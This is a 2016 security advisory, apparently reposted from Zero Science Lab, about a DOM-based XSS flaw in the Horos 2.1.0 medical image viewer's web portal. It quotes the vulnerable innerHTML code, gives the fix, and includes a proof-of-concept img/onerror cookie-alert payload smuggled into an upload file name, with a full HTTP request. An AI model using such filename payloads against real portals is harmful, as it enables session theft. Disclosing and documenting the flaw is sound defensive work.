Home / os / winmobile

Horos 2.1.0 Cross Site Scripting

Posted on 16 December 2016

Horos 2.1.0 Web Portal DOM Based XSS

Vendor: Horos Project
Product web page: https://www.horosproject.org
Affected version: 2.1.0

Summary: HorosaC/ is an open-source, free medical image viewer. The goal of the
Horos Project is to develop a fully functional, 64-bit medical image viewer for
OS X. Horos is based upon OsiriX and other open source medical imaging libraries.

Desc: Horos suffers from a DOM-based XSS vulnerability because it doesn't use proper sanitization
when user input goes to a dangerous HTML modification sink ((element).innerHTML). This can be
exploited to execute arbitrary HTML and script code in a user's browser DOM in context of an
affected site.

Tested on: macOS 12.10.2 (Sierra)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2016-5385
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5385.php

15.12.2016

--

------vuln-----

function fileSelected() {
var file = document.getElementById('fileToUpload').files[0];
if (file) {
var fileSize = 0;
if (file.size > 1024 * 1024)
fileSize = (Math.round(file.size * 100 / (1024 * 1024)) / 100).toString() + 'MB';
else
fileSize = (Math.round(file.size * 100 / 1024) / 100).toString() + 'KB';

document.getElementById('fileName').innerHTML = 'Name: ' + file.name; // xss
document.getElementById('fileSize').innerHTML = 'Size: ' + fileSize;
document.getElementById('fileType').innerHTML = 'Type: ' + file.type;
}
}

function uploadFile()
{
document.getElementById('progressbar').innerHTML = '0%';
document.getElementById("progressbar").style.width = '0%';
document.getElementById("progressbar").className = "progress-bar progress-bar-striped";
document.getElementById("upload_button").className = "btn btn-default disabled";

setTimeout(function(){

var fd = new FormData();
fd.append("fileToUpload", document.getElementById('fileToUpload').files[0]);
var xhr = new XMLHttpRequest();
xhr.upload.addEventListener("progress", uploadProgress, false);
xhr.addEventListener("load", uploadComplete, false);
xhr.addEventListener("error", uploadFailed, false);
xhr.addEventListener("abort", uploadCanceled, false);
xhr.open("POST", "", true);
xhr.send(fd);

}, 500);
}

...

<form class="col-md-12" id="form1" action="javascript:void(0);" method="post" enctype="multipart/form-data">
<div class="form-group col-md-12">
<label for="fileToUpload">File input</label>
<input type="file" name="file" id="fileToUpload" onchange="fileSelected();">
<div class="help-block">
<div id="fileName"></div> // xss
<div id="fileSize"></div>
<div id="fileType"></div>
</div>
</div>
<div class="col-lg-2 col-md-3">
<button type="submit" class="btn btn-default" id="upload_button" name="upload_button" onclick="uploadFile()" value="Upload">Upload</button>
</div>
<div class="col-lg-10 col-md-9 help-block">
<div class="progress" id="progressbar_containter" style="display: none;">
<div class="progress-bar progress-bar-striped" id="progressbar" role="progressbar" aria-valuenow="2" aria-valuemin="0" aria-valuemax="100" style="min-width: 2em;"></div>
</div>
</div>
</form>

------/vuln-----

Element output: <div id="fileName">Name: <img src="#" onerror="alert(document.cookie)" :="">.mp3</div>
Fix: (element).innerText or (element).textContent

PoC payload: <img src="#" onerror="alert(document.cookie")/>:

POST /main HTTP/1.1
Host: 127.0.0.1:3333
Content-Length: 3
Origin: http://127.0.0.1:3333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBUg5yXYbUF1w5AEi
Accept: */*
Referer: http://127.0.0.1:3333/main
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
Cookie: OSID=53B11D55703E7A7DA14AF867B2C7E346
DNT: 1
Connection: close

------WebKitFormBoundaryBUg5yXYbUF1w5AEi
Content-Disposition: form-data; name="fileToUpload"; filename="<img src=%22#%22 onerror=%22alert(document.cookie)%22:>.mp3"
Content-Type: audio/mp3

ZSL
------WebKitFormBoundaryBUg5yXYbUF1w5AEi--

 

TOP